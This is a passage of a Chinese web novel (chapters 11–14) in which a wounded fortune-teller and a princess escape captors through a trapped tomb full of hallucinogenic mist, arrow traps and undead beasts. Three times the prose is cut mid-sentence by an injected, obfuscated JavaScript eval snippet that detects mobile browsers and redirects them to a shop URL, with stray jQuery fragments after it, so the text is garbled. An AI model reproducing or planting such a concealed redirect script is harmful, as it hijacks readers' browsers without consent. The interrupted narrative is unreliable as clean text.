县令怕他伤重不治,无法交差,给了些上好的金疮药。然而牢狱环境恶劣,伤口反复感染,药效甚微。
程南无稍一挪动身体,衣衫便会撕裂身上结起的新痂,血又渗了出来。
“磨蹭什么!”县令焦急的吼声从牢房外传来,语气不耐烦到了极点,“快给他套上头套,手脚利落点,莫让大人久等,我们谁都担待不起。”
狱卒们这才慌忙上前,用钥匙打开墙上铁环的锁,将程南无拖了出来。
程南无几乎无法靠自己的力量站稳,大部分重量都倚靠在拖拽他的狱卒身上。
路过县令身旁时,他有气无力地笑道:“这些日子多谢款待,我去去就回,那间房通风不错,记得给我留着……”
他话还未说完,便被塞了一嘴布,粗麻布头套猛地罩下,隔绝了所有光线。
程南无只觉得被拖行了一阵,肩头被人狠狠一推,失重感传来,重重摔在马车底板上。
颠簸许久,马车终于停下。
头套被扯掉的瞬间,刺目的日光让程南无下意识抬手遮挡。待视线适应,一道熟悉的声音便传了过来。
“李大将军,舟车劳顿,可算是把你给等来了,纪某在此恭候多时。”
“纪大人。”李爝颔首示意。
程南无抬眼扫去,说话之人是那日在牢中喝茶的胖子。
此人约莫五十上下的年纪,生得一张富态圆脸,未语先带三分笑,眉眼弯弯,乍一看竟有几分庙里佛像般的慈祥。
那是,执掌戍卫的纪陈岚!
他兄长纪陈峰更是瀛洲辅政大臣之一,兄弟二人权倾朝野,可谓一手遮天。
11. 白琥地宫
程南无心中暗凛,为了活命勉强应下的差事,没想到背后牵扯的,竟是这等人物。
众人此刻围拢的地方,是一处极其隐蔽的山洞入口。巨大的石门紧闭,上面有清理过的痕迹,但仍有青苔藤蔓,想来若非有人指引,此处绝难被发现。
洞口周围,身着甲胄的兵士层层守卫,戒备森严。
一顶装饰华贵与这荒山野岭格格不入的步辇,由四名健壮仆役抬着,缓缓行至近前。
秋实上前,掀开帷幔,露出了端坐在其中轻纱遮面的李幼澄。
她身侧还跟着另一位婢女,秋实伸手欲扶,然而李幼澄却看也未看,径自绕过那屈身跪地的人肉马凳,一手提着裙摆,利落地从步辇上跳下。
李幼澄一眼便看到了那个被两名士兵押着的程南无,他一身新衣,但那衣服显然不合身。
她正要开口呼喊,秋实却已不动声色地挪了一步,恰好挡住了她的视线,提醒道:“若不想他死的太痛苦,就别再和他接触。”
李幼澄眼中一暗,却仍忍不住争辩:“他是无辜的,什么都不知道,为何不能放了他?”
“从代娶那刻起,他已经是一个死人。”秋实冷声道,没有丝毫转圜余地。
石门被数名士兵合力缓缓推开,一股阴森凉气扑面而来。
洞口之后,是深不见底的黑暗,一名士兵将一支燃烧的火把奋力投入其中,那火光在坠落过程中迅速变小,不过数息,便彻底熄灭,连一丝回声都未曾传回。
白将军见状,脸上难以抑制地涌现出激动之色:“原是在此处!怪不得遍寻不着。”
士兵们开始顺着早已在洞口岩壁上钉好的粗壮绳索,陆续向下滑降。
白将军走到李幼澄面前,指着旁边一个需要靠绞盘升降的大竹篮,躬身道:“殿下,下方情况不明,为保万全,委屈殿下移步此篮。”
秋实扶着李幼澄坐进那看起来并不牢固的竹篮,自己也紧随而入,护在她身侧。绞盘转动,竹篮开始缓缓下降。
程南无被押到洞口,探头往下望了一眼,漆黑一片深不见底,刚想后退,后背便被一名士兵用剑不客气地抵住。
“我也要下去?”程南无笑了笑,转身指了指自己满身的伤,“不太好吧,我有些恐高……”
士兵二话不说,将绳索捆绑在他腰上,一脚将他踹下洞去。
李幼澄在下降的竹篮中,听到了程南无在上方传来一阵凄厉悠长的惨叫。
莫约滑了半炷香的时间,她脚才触到实地。刚站稳,便借着周围士兵举起的火把光芒,看到程南无从不远处的地面上慢悠悠爬起。
他先是活动了一下脖颈,随即右手按住明显不自然下垂的左肩,“咔”地一声,竟将摔的脱臼的胳膊自行接了回去,面色如常。
李幼澄越过他的身形,看向他身后,眼前哪里是什么地洞?分明是一座森严恢弘的地宫。
地宫入口处颇为宽敞,士兵们高举火把,井然有序地排列在两侧,地上还有生火做饭后的痕迹,显然他们已在此驻扎多时。
穿过近百米长呈斜坡形的通道后,便是地洞的第二道门。
这门是由整块汉白玉雕琢而成,远比入口的石门更加的厚重,上面精雕细刻着花草瑞兽,光滑的门面上布满了深浅不一的撞击痕迹和利器划痕,显然有人曾多次尝试暴力开启。
纪陈岚使了一个眼神,立刻便有十几名身材魁梧的士兵出列,合力抱起一根需要五人才能合抱的巨大沉重木桩,众人喊着号子,开始一下下猛烈撞击那扇白玉大门。
程南无被押在离门不远的地方,那张平时玩笑的脸严肃的很,嘴角淤红,额间冒着汗,面色难看至极。
他察觉到李幼澄投来的担忧目光,突然咧嘴一笑,狼狈中透着一丝顽劣。
自客栈外被强行分开,两人已有半月未见,谁能想到,竟会在如此诡异的地下深处重逢。
莫约砸了一炷香时间,那扇坚固无比的白玉大门,终于被撞开了一道可容人通过的裂缝。
门后景象令人震惊,门内并非想象中的殿堂,而是一条巨大的裂缝,横亘在众人面前。
在裂缝对岸,一条宽阔的走道向前延伸,走道的地面上,散落着无数金银珠宝、首饰玉器,走道两旁的石壁上,绘制着色彩极其绚丽的大型壁画。
陪宫在两侧的,是一尊尊形态诡异、似人非人、似兽非兽的奇形石像。
“速速搭桥!”纪陈岚下令。
士兵们动作迅速,利用携带的工具和绳索,很快便在裂缝之上架起了一座相对稳固的绳桥。
李爝与白将军率先过岸探路,确认安全后,秋实将李幼澄和另一名婢女放入竹篮中,滑了过去。
程南无则在士兵的押解下,踏上摇摇晃晃的绳桥。
通道并不长,尽头处,两条几乎一模一样的岔路赫然呈现。
路口矗立一碑,刻曰:心无虚伪者,随心而择,正道不容污秽之人。
纪陈岚招呼众人停下,目光在两条岔路间扫过,最后落在了被众人隐隐护在中间的李幼澄身上,他带着慈祥的笑容:“长乐公主,此地属您身份最为尊贵。这两条路,请择一而行。”
李幼澄看着他那张虚伪的笑脸,没心没肺道:“我给你选条死路,你也要走?”
一旁的程南无一时没忍住,笑出了声,立刻引来数道冰冷的目光:“公主殿下,这时候就别尝试激怒他了。”
李幼澄走上前几步,瞪了他一眼,程南无抿了抿嘴,虽乖觉站定,嘴上却不饶人:“你这崭新的脑子没用过一定能卖个好价钱。”
“作为俘虏,你就不能少说点话,不知道一般人都是死于话多?”李幼澄恼怒的跺跺脚,与程南无又拉近了一些距离。
“你还看不清楚形式吗?在场除了我俩,其余人都是一伙的,这位西京来的白将军,估计早就投身瀛洲。”
李幼澄愤而上前,这一步恰好彻底踏出白将军等人的保护范围,程南无唇角
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058092|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一勾,贴近李幼澄,一手扣住她的手腕,另一只手已扼上她纤细的脖颈。
他带着她退至那两条岔路口的中央位置,与对面的大队人马拉开距离。
“公主!”
“放开殿下!”
白将军和李爝几乎同时拔剑出鞘,周围士兵也瞬间弓弩上弦。
“救我!”李幼澄惊呼。
“都别动!”程南无手臂收紧,将李幼澄牢牢箍在身前警告道,“长乐公主细皮嫩肉,伤了一根头发,你们谁都不好向瀛宣帝和西京皇交差。”
他扫过四周蠢蠢欲动的弓箭手,再度提高声音,语带威胁:“因你们妄动,导致公主香消玉殒,两国盟约破裂,战事再起,是你们想看到的?反正我活不成,索性一个都别想活!”
“蠢货!”纪陈岚被他的举动彻底激怒,夺过身旁士兵的弓箭,对准程南无和李幼澄的心口。
李爝反应极快,快步拦在箭矢与程南无之间,凌空抓住那只离弦之箭,他盯着纪陈岚:“纪大人,你疯了?公主还在他手上。”
纪陈岚又从箭囊中抽出一支箭,缓缓搭上弓弦:“老朽年迈昏愦,手抖得厉害,若是失了准头,误伤了谁,诸位莫怪。”
这架势,分明是不惜连李幼澄一起射杀,也要将程南无彻底灭口。
“截你爷头,截你娘头!”程南无不知纪陈岚为何要对自己下死手,也顾不得什么形象,破口大骂,“老匹夫,你年纪大了就莫要出来丢人现眼,赶紧回家等死算了!”
被他挟持在身前的李幼澄,不可思议地抬眼看他:“你不是修道之人么?怎么造如此重的口业?”
“他找骂,我这是成全他,叫替天行道,是积德。脏话骂出去,我心里就干净了,念头通达,有利于修行。”程南无说完,飞快补了句,“福生无量。”
李幼澄眨了眨眼,竟觉得他这番歪理似乎有点道理?眼中透出几分迷茫的崇拜:“你说的好有道理。”
纪陈岚被他骂的脸色发青,程南无见状,知道不能再耽搁,目光在两条不知通往何处的岔路间快速一扫。
李幼澄指着左边的道路:“我喜欢这条路,看起来没那么黑。”
程南无带着她急速后退,没入黑暗中。
“这可如何是好?!殿下还在那贼人手上!”白将军脸色难看至极,又急又怒,忍不住出声指责。
“将军不必过分担忧。”李爝冷静分析道,“那人挟持公主,无非是想保命或谈条件,短时间内应不会伤害殿下,当务之急是尽快追回。”
“周至,你带着一队精锐,走右侧这条路探查,小心戒备。其余人,随我一起去追长乐公主,务必确保殿下安全。”
李爝转向面色如常的纪陈岚:“纪大人,还请拨用你麾下戍卫,协助周至探查中间这条路,以防有诈。可否?”
“李大将军安排便是,老朽,无意见。”
分工明确后,众人不敢再迟疑,立刻兵分两路,各自追了上去。
12. 诡谲迷雾
一脱离身后追兵的视线范围,深入岔路通道的黑暗之中,李幼澄立刻挣脱了程南无虚搭在她颈间的手。
她快步走到他前面,带着雀跃和得意:“程南无,我刚刚演得怎么样?是不是情真意切,把那帮家伙都唬住了。”
程南无没有回应,他落后李幼澄几步,每一步都走得无比沉重。
在牢狱中遭受折磨的伤痕隐隐作痛。他强撑着精神,似乎在极力压抑着什么,呼吸比平时粗重了几分。
不知不觉,两人走到一片竹林,色泽是一种不自然的墨绿,透着死气。
四周遍布蓝色花朵,更诡异的是,清晰的水流声从四面八方传来,却根本看不见任何溪流或水源。
“你怎么不说话?”李幼澄终于察觉到程南无的状态不对。
程南无突然彻底停下了脚步,僵在原地。
“程南无,你不要吓我。”李幼澄凑上前,在他眼前晃了晃手,依旧没有得到任何回应。
程南无原本只是疲惫的双眼,在刹那间布满了骇人的血丝,那眼神空洞又疯狂,仿佛看到了什么极致恐怖的景象。
他脸上浮现一股难以言喻的痛苦和暴戾,取代了他平日里那副玩世不恭的神情。
在李幼澄不解的目光中,程南无抬起了双手,带着决绝的力道,掐住了自己的脖子!
“你干什么?快放手!”李幼澄连忙制止,试图去掰开那自残的手。
可程南无的力气大得惊人,仿佛他掐住的不是自己的脖颈,而是不共戴天的仇敌。
李幼澄拼尽全力,那双手却纹丝不动,反而越收越紧,程南无的脸色开始由不正常的潮红迅速转为缺氧的青紫。
“你到底怎么了程南无,不要吓我!”李幼澄惊恐万分,她逐渐意识到问题出在这地宫里无处不在的迷雾。
周围的雾气变得更加浓郁,向程南无汇聚而来,几乎要将他吞没。
李幼澄又急又怕,一手仍抓着程南无,另一只手拼命地在空中扇动,试图驱散那些诡异的雾气。
那雾气只是被掌风略微搅动散开一瞬,又再次聚拢。
“滚开,你们都滚开,不许碰他!”李幼澄带着哭音喊道。
就在这时,程南无的眼角、唇角,开始渗出一道道刺目的血痕。他突然挣开了李幼澄的束缚,踉跄着向前冲了几步,然后,又像是被抽干了所有力气,僵住,继而向下倒去。
李幼澄在程南无彻底倒地前扶住了他,让他靠着自己,缓缓滑坐在地。
入手处一片湿黏,李幼澄强压下对血的本能恐惧和阵阵晕眩,缓了好一会儿,才回过神来。
怀中的程南无终于安静了下来,不再自残,但呼吸微弱得几乎感觉不到,双眼紧闭,状况显然糟糕到了极点。
李幼澄用力拍了拍他的脸,尝试将他唤醒:“程南无,你醒醒。”
她惶然环顾四周,雾气越来越浓,能见度不足三尺,来时的路径早已被彻底淹没,消失无踪。
她自身尚且自顾不暇,如今还要带着一个重伤且陷入昏迷的人,此刻这诡异的地宫,几乎是绝境。
“真是的,怎么每次遇见你都没好事?”李幼澄抱怨了一句,却是咬着牙,用袖子擦去程南无脸上的血迹,试图将他背起来。
程南无虽然看起来清瘦,但他毕竟是个成年男子,李幼澄试了几次都力不从心。
好不容易半拖半抱地将他挪动了几步,周围的竹林却仿佛活了过来,在她眼前悄无声息地移动、变换,原本依稀可辨的小径瞬间消失,被新的竹林取代。
李幼澄只得先将程南无小心放在地上,自己尝试着强行开路,用身体去撞开那些碍事的竹子,却险些一脚踩空,落入一片伪装成普通草地的泥沼。
她惊叫着缩回脚,靴子和裙摆已沾满了污泥,顾不得狼狈,原路折回。
李幼澄的眼泪不争气的夺眶而出,她哭了一会,正当她急得不知如何是好时,地上的程南无突然发出一声极轻的嗫嚅。
“……坤……位……三步……”
李幼澄擦干眼泪,俯身低头凑近:“你说什么?程南无,我没有听到,你再说一遍?”
程南无勉强睁眼,眼神依旧涣散,试图抬起手。
李幼澄见他似乎恢复了一些神智,急忙低头询问:“你想要什么?你跟我说。”
程南无抬手捏住李幼澄的耳垂:“坤位三步,这下听清了吗?”这一句话几乎用尽了他全部的精力。
“听清了......”李幼澄撇撇嘴,将程南无的胳膊架在肩上,让他勉强站立起来。
“此处已被布上奇门五行阵法,你再乱走……”他说完,极其艰难的从李幼澄松散的发髻间取下两枚珠花,一个丢在她左侧三步之外,一个丢在右侧。
只听嗖嗖破空声,左侧的珠花落地之处,瞬间从竹林中各个方向一连射出上百支箭,密密麻麻地插满了那片地面,被箭镞射中的竹叶瞬间变得焦黄枯死。
速度之快,让人来不及反应。
“旋转多箭,墨家机关术!”程南无惊道。
而右侧珠花刚落,那片看似坚实的地面轰然塌陷,露出一个深不见底的坑洞,坑下分布长约三寸左右的刀锥利器,塌陷范围蔓延到他们脚边!
“连环翻板!”程南无边说边咳出一口鲜血。
李幼澄看着他吐血,吓得脸色比他还要白,带着哭腔道:“程南无,你太磨人了,明知我晕血,还吐个不停,虚弱就少说点话。”
程南无缓了口气,捏过珠花的指尖在不断滴血:“我这是在告诉你,这些都是什么东西。”
“你说了名字我也不知道呀。”李幼澄焦急地四下张望,眼前除了竹子和浓雾,别无他物,她根本分不清东南西北,更别提八卦方位了。
“坤位是哪个方向?”
程南无极轻的叹息一声,手指向了一个模糊的方向。
李幼澄支撑着程南无大部分体重,朝着那个方向艰难地迈出了三步。
脚下地面坚实,并未触动任何机关。
李幼澄心中大喜:“接下来是……”
“走乾位五步……”程南无额头上渗出冷汗,艰难地动了动,指向了侧前方。
李幼澄按照指示,继续前进。但她每一步都走得异常艰难,程南无时而陷入昏迷,身体完全
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058093|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
依靠她的支撑,时而清醒,进程缓慢。
只是越走下去,原本无处不在的迷雾,越来越稀薄,程南无清醒的时间也越来越多。
李幼澄心中默数着步数,最后一个步落下时,她感觉周围的雾气如同被一道无形的墙壁阻挡,骤然消散一空。
前方的景象清晰起来,那是一条狭窄的,向下延伸的石砌通道,通道两旁的石壁上,镶嵌着发出幽绿光芒的萤石,虽然光线昏暗,却足以照亮脚下的台阶和前路。
路的尽头,白光刺眼,李幼澄艰难的将程南无拖了出来。
她回头,这才发现出口的旁边的岩壁上,竟然还有另一个不起眼的洞口。她瞬间想明白了,这两条岔路,恐怕最终都能通往此地,只是路径和考验截然不同。
“我们……出来了?”李幼澄有些虚脱,毕竟将一个高大且半死不活的男人背出来,本身就是一个力气活。
她闭上眼凭感觉将程南无放下来,让他平躺。
躺在地上的程南无,呼吸虽然依旧微弱,但比在迷雾中平稳了一些。只是脸上、身上血迹斑斑,看起来凄惨无比。
程南无的眼睫颤动了一下,极其艰难地睁开了一条细缝。
李幼澄取出匕首斩下一截干净的衣袖内衬,系在眼上,模糊的视线下,仍能从他身上闻到极重的血腥味,担忧地问:“程南无,你受伤了,感觉怎么样?还好吗?”
程南无不动声色擦了脸上的血迹,有些虚脱的朝她伸手,李幼澄摸索了好半天才握住他的手。
他带着哀怨和委屈道:“我不太好,浑身都疼。”
听他虚弱极致的声音,李幼澄心下一软,原本死里逃生后所有的抱怨和害怕都化作了怜惜。
她轻轻将他揽入自己怀中,让他靠着自己,用手臂环住他的肩膀,柔声安慰道:“我在这儿呢,你别怕。”
程南无在她怀里长舒一口气,奄奄一息道:“你救了我一命,谢谢,我好累……想睡会儿。”
李幼澄感觉他生机渐逝,双臂不自觉地收紧,泪水大颗大颗的涌出眼眶:“不!你不许睡!程南无,我不准你睡!”
她看不到那刺目的红色,但鼻腔中充斥着极其浓重的血腥味,仍让她有些晕眩。她强忍着不适,颤抖着手在他身上摸索,试图找到程南无到底哪里还在流血,为他止血。
摸索了半天,她才摸到程南无的指尖还在不断地淌血。
李幼澄用内衬一遍又一遍地擦拭着他指尖的血迹,朝着空旷无人的四周,绝望地呼喊:“来人呐!谁来救救他。”
她努力把程南无往出口拖去,想要找人来救他。
程南无你一定要挺住啊!
就在她几近崩溃之际,怀中那个奄奄一息的人,突然传来了平稳、均匀的呼吸声。
李幼澄嘴角控制不住地抽搐了一下。
原来程南无所说的睡会儿,竟然就真的是字面意义上的睡觉?!
这个可恶的程南无!亏得她刚才那么担心,那么害怕,流了那么多眼泪,结果他居然只是睡着了?!
李幼澄哭笑不得,终于忍无可忍,毫不留情地将他从自己怀里推了出去。
13. 我躲远点总行吧?
见程南无呼吸平稳,李幼澄犹豫了一下,从怀中摸出一方干净的绣帕,笨拙的往程南无的伤口上凑。
她没什么处理伤的经验,力道时重时轻,程南无本就因伤痛和环境不安而睡得极浅,被这一下重过一下的按压疼得猛地睁眼。
他抬起那只被缠得跟粽子似的左手:“别白费力气了,越弄越糟。”
“你醒啦!”李幼澄闻言扯开眼前的束缚,刚要凑近查看,就被程南无抬手推开。
看她脸色不好,显然是强忍着晕血的不适,程南无道:“晕血就离我远些,我可不想背着你出去。”
这话在李幼澄耳中变了味,明明是她豁出性命,将他从那个诡异的迷阵里拖了出来,程南无却不领情,到头来,她反倒成了多管闲事。
一股无名火气从心底窜起,她看着程南无似乎又要抬手,生怕再被他推开,下意识就往后一缩。
后背“咚”地撞上土墙,震落不少灰尘,迷了她一鼻子,呛得她连打了好几个喷嚏。
“好了好了,我知道你不待见我,嫌我碍手碍脚,”她撇撇嘴,用手扇开面前的灰尘,刻意挪远了些,“那你自己来!我离远点总行了吧?”
说着,她又从怀里掏出另一块备用帕子,远远地朝他扔去。那帕子轻飘飘的,在空中晃悠了几下,落在两人中间的位置。
李幼澄看着那帕子,咬了咬唇,只好又站起身,小跑过去捡起来,丢到他手边,又退回原处,抱膝坐下,扭过头去不说话,只留给他一个气鼓鼓的侧影。
程南无看着她这一连串孩子气的动作,嘴角弯了一下,随即低头,自行处理起身上的伤口。他动作熟练,显然对此习以为常。
二人一时无言。
沉默了一会儿,李幼澄终究是耐不住这压抑的气氛,也为了打破尴尬,没话找话地开口:“修这地宫的人是不是太闲得慌了?煞费苦心弄两条路,结果居然都通到同一个地方,这不是多此一举吗?我还以为肯定有一条是走不出去的绝路。”
“的确走不出去。”
“怎么说?”李幼澄不解。
“还记得入口处的那块石碑吗?”
李幼澄凝神回想,道:“心无虚伪者,随心而择,正道不容污秽之人。”
“那遍地的朝颜花种子相比是浸泡过特殊的药水,香气香粉皆可致幻。地宫水汽居多,常年不散,士兵火把的高温会让其成为雾。进来的人提防迷雾,却忽略了藏在暗处且致命的朝颜。”
程南无包扎的动作未停,看着李幼澄歪着头盯着他,不知道自己说的,她理解了没有,想了一下:“我说清楚了吗?”
李幼澄点头,问道:“你怎么自己掐自己?”
“这幻气专攻人的心智,放大内心深处的恐惧、愧疚与执念。心思越复杂、杂念越多的人,越容易中招,难以自拔。若无人从外界唤醒,最终便会在癫狂自残中,直至力竭而亡,以死赎罪。”
说到这,程南无抬眼瞥她,似笑非笑:“像你这样平日不爱动脑、心思简单的,要通过,易如反掌。”
李幼澄反应过来他话里的揶揄,立刻挥舞着拳头:“夸奖我厉害这么难吗?说声谢谢会死吗?逞口舌之快有意思吗?”
她本以为程南无又会像往常一样,反唇相讥,跟她斗上几个回合。不料,程南无沉默了片刻,一本正经向她道:“多谢。”
“呃,不……不客气。”李幼澄被他这突如其来正经的道谢弄得猝不及防,准备好的反击卡在喉咙里,一时语塞。
往常两人斗嘴已是常态,没想到这次,他竟这么快就妥协了,他今日这般反常,反倒让李幼澄有些手足无措。
她最不擅长的,就是应对这般直白而认真的感谢,尤其还是出自一个素来嬉皮笑脸、没个正形的人之口。
她讪讪往他那边挪近了一些,试图转移话题,掩饰自己的不自在:“那个……之前看你从那么高的地方掉下来,是怎么没摔死的?”
真是哪壶不开提哪壶,程南无立刻配合地龇牙咧嘴:“我在牢房被人用鞭子抽的浑身疼,卖了几句惨,他们有用我之处,哪舍得真让我摔死?既不能让我摔死,总得让我伤胳膊断腿,长些教训。”
他一脸可怜兮兮的摇摇头,语气带着夸张的悲凉:“真成残废,就没活儿干了,到时候只能过食不果腹,衣不蔽体的日子了。”
看着他这副凄惨模样,再想到他身上的伤确实也是因自己而起,李幼澄犹豫了一下,退下自己腕间那只成色莹润的玉镯,塞进程南无手里:“喏,拿着。这个是秋实之前给我的,我仔细检查过了,没有宫印,是干净的,可以当。”
程南无也不推辞,举起玉镯对着微光端详了一下,成色确实不错,能卖个好价钱,便坦然收入荷包中:“那多谢了。”
“你这会倒客气。”李幼澄轻哼一声。
言归正传,李幼澄还不知这些人带她来此的意图,问道:“这地宫里到底藏着什么?他们如此兴师动众,费尽周折进来,究竟想要做什么?”
程南无没有直接回答,反问道:“你对阿萨辛,了解多少?”
李幼澄想了想,凭借听来的传闻答道:“是个很厉害的杀手组织,神出鬼没,搅得三国鸡犬不宁。”
这样的认知,跟完全不知道也没什么区别。程南无懒得费太多口舌去详细解释这个庞大复杂的组织,正想随口胡诌几句敷衍过去。
李幼澄一眼看穿:“你是不是准备瞎说?”
“……”程南无轻笑,收起敷衍的心思,终是正色道,“瀛洲、西京、岭北三国交界的江城山脉中,有一处陌上花渡,阿萨辛便盘踞在此。”
“阿萨辛内部等级森严,最高为首者称为领主,领主之下,设有六位权主,以祭祀天地四方的六种玉器为号,分别是:苍璧、黄琮、青圭、赤璋、白琥、玄璜。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058094|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“每一位权主麾下,都侍奉着一位武艺高强的灵,而灵则负责管辖和驱使大量追随该权主的信徒。”
“我们所在的这处地宫,”程南无指向幽深的四周,“便是阿萨辛六权主之一,白琥的葬身之地。传闻他死时,将代表权主身份和权柄的信物,一枚戒指,一同带进了这座地宫。因此很长一段时间,白琥麾下的势力群龙无首,陷入内斗和混乱。”
李幼澄立刻抓住了关键:“他们是为那枚戒指而来?如果拿到了会如何?”
“若是被他们拿到了那枚戒指,便可名正言顺地接管白琥在阿萨辛的所有残余势力和信徒。持戒者,便是阿萨辛公认的新任白琥权主。恭喜那人,陌上花渡,要为他腾出一间上房了。”
“那些杀人如麻的信徒,竟然只会认戒指不认人?”李幼澄觉得这简直是个巨大的漏洞,她蹙眉深思,“如果得到戒指的人,下令诛杀其他权主,甚至……刺杀领主呢?”
“自然可以。阿萨辛内部,讲究的是弱肉强食,随心所欲。领主也好,权主也罢,谁死了都无所谓。旧主陨落,新主登位。只要实力足够强悍,并能持戒为凭,便可掌权。这套看似荒唐的规矩,据说就是那位行事莫测的领主自己定下的。”
“死亡在阿萨辛,早已是家常便饭。流水的权主,铁打的戒指。”程南无看向地宫深处,眼中情绪晦暗不明,“这便是阿萨辛的传承。”
李幼澄听得背后发凉,只觉得这般逻辑简直匪夷所思,为一枚戒指疯狂至此,阿萨辛的人恐怕脑子都不太正常。
她忽然想到什么,起身绕到程南无面前蹲下,一双清亮的眼睛望向他:“你呢?你也想要这枚戒指?”
见程南无面色有凝滞和异样,李幼澄以为他是被权力欲望所惑,忍不住继续开解道:“你一个小角色,来凑这种热闹做什么?不要命啦?”
程南无继续沉默不语,但脸上的表情更加奇怪,似乎在忍耐着什么。
李幼澄以为他听不进去,便放软了语气:“你听到我说话了吗?我这不是在教训你,我是在担心你。”
“劳驾,”程南无终于开口,声音里透着一丝无奈和痛楚,“挪下脚,你踩我手了。”
“啊?”李幼澄一愣,顺着他的视线低头看去,果然发现自己刚才蹲得太急,一只脚不偏不倚,正踩在他那只受伤搁在地上的手指上。
她连忙挪开几步,又是尴尬又是懊恼:“对不住!我没看见。”
程南无抽回被踩痛的手,不停地对着手指吹气,委屈道:“拜托,我这副半死不活的模样能做什么?没看见我是被他们强行押来的吗?”
李幼澄脸上顿时火辣辣的,恨不得找个地缝钻进去,她目光四处乱瞟,忽然感觉周围空气有些燥热,便没话找话道:“这里怎么突然这么热呀?有什么可以扇的吗?”
程南无:“有巴掌。”
“......”
14. 忘恩负义的小人
短暂休整,李幼澄和程南无稍恢复了些精神,便越过一座摇晃的吊桥,向对岸行去。
他们离去不久,一阵杂乱的脚步声夹杂哭喊惊叫,迅速逼近。
李爝率先冲出,银甲上沾染了些许污迹,脸色冷峻。随后,几名亲兵狼狈地搀扶着七窍流血,几乎脱力的纪陈岚和白将军踉跄而出。
显然,他们在迷阵中也吃了不小的苦头。
“这迷雾竟然控人心神,”李爝扶住摇摇欲坠的纪陈岚,“纪大人是如何知晓正确出路的?”
纪陈岚喘了口气:“大将军莫不是忘了,我们前面可是有一个相士。”
他言尽于此,李爝立即明白了他话中深意。
“纪大人之前说要沿着血迹走,原是这个意思。”李爝恍然,看向地上隐约可辨断续延伸的暗红色痕迹,“难怪当初你执意要我设法,寻一个精通此道的相士来冒充新郎。”
纪陈岚倚着岩壁缓缓坐下,从怀中取出一个瓷瓶,倒出几粒药丸分与众人:“含服,清心明目。”
他抬眼看向来时方向,目光穿透昏暗甬道:“此人通晓奇门遁甲之术,确实有用。我借他之力,破解这第一重迷宫。不过从此刻开始,他已经没用了。寻个机会,杀了。”
另一处,李幼澄和程南无爬过一条仅容一人通过的狭窄石道,便听到水流声。
当他们从石道尽头钻出时,发现自己位于一座极其宽阔恢弘的大殿顶端。钻出的洞口,巧妙地设计在一尊巨大无比的石雕人像的鼻孔位置。
殿顶高悬着一盏巨大且结构复杂的青铜灯盏。俯身下望,是深不见底的黑暗和扑面而来蓬勃的水汽。
一座数百丈直径的青铜巨盘层层嵌套。一共有九环,第九环青铜面上,刻着壹、贰、叁……第二层环纹间,八卦符号相互对立,盘心是一幅太极图。图中央矗立着一朵用整块血色岩石雕琢而成的的金灯花。
黑暗角落中,慢慢走出一只狮子。说它是狮子也不大正确,这只狮子还有一个老虎头,两颗头诡异的共用一个身躯,长长的六根尾巴没有皮毛覆盖,如同骨鞭一样。
这怪物的四肢和身躯都呈现出不同程度的腐烂,露着骨头和乌黑的腐肉,两颗头的耳朵和眼睛都被挖去,只剩下空洞的窟窿,它们张着血盆大口,咆哮了几声,让人毛骨悚然。
它的身后还跟着数只同类,它们四下张望,分散在句盘的每一环,仿佛在搜寻什么。
“我们接下来怎么走?他们在后面估计快要追上来了。”李幼澄怕惊扰到下面的怪物压低声音,身体也不自觉地往程南无那边靠了靠。
程南无仔细观察了下方的形势,得出结论:“我打不过下面几位爷,后面赶来的也打不过。”
他好心的给出选择:“你是想被咬死?还是想被活捉?”
很显然,这两个选项李幼澄一个都不想选。
“嘘!”两人挨得很近,她食指轻按程南无唇间,示意他小点声,“说话轻些,别被下面的怪物听到了。”
“你说它们?”程南无拍下她的手,“放心吧,这些狮虎兽早已眼瞎耳聋,看不见也听不见,只是莫要乱移动引起震动就好。况且它们早已死去,你没看见尸身都腐坏成那样了?”
李幼澄瞥向下方,那几头怪物果然只是凭着某种本能,在不断徘徊,她缓了缓心神:“死了还能动?”
“血蛊术你听过吗?施术者用自己的血养蛊,将蛊种入刚死不久的尸体之中,便能一定程度上驱使尸体行动。听闻白琥生前最爱干的事,就是将不同的人与兽肢解,再按照他诡异的审美重新拼接组合,最后以血蛊术复活,做成他所谓的作品。他这怪老头,最大的心愿就是建造一个属于自己的地下宫殿,和他这些杰作们幸福的共度余生。”
“唉,”程南无语气带着点说不清是嘲讽还是惋惜,“可惜,听说他起了歪心思,被同行的权主杀了。”
李幼澄愕然:“啊,阿萨辛权主不是一伙儿的吗?怎么还自相残杀?”
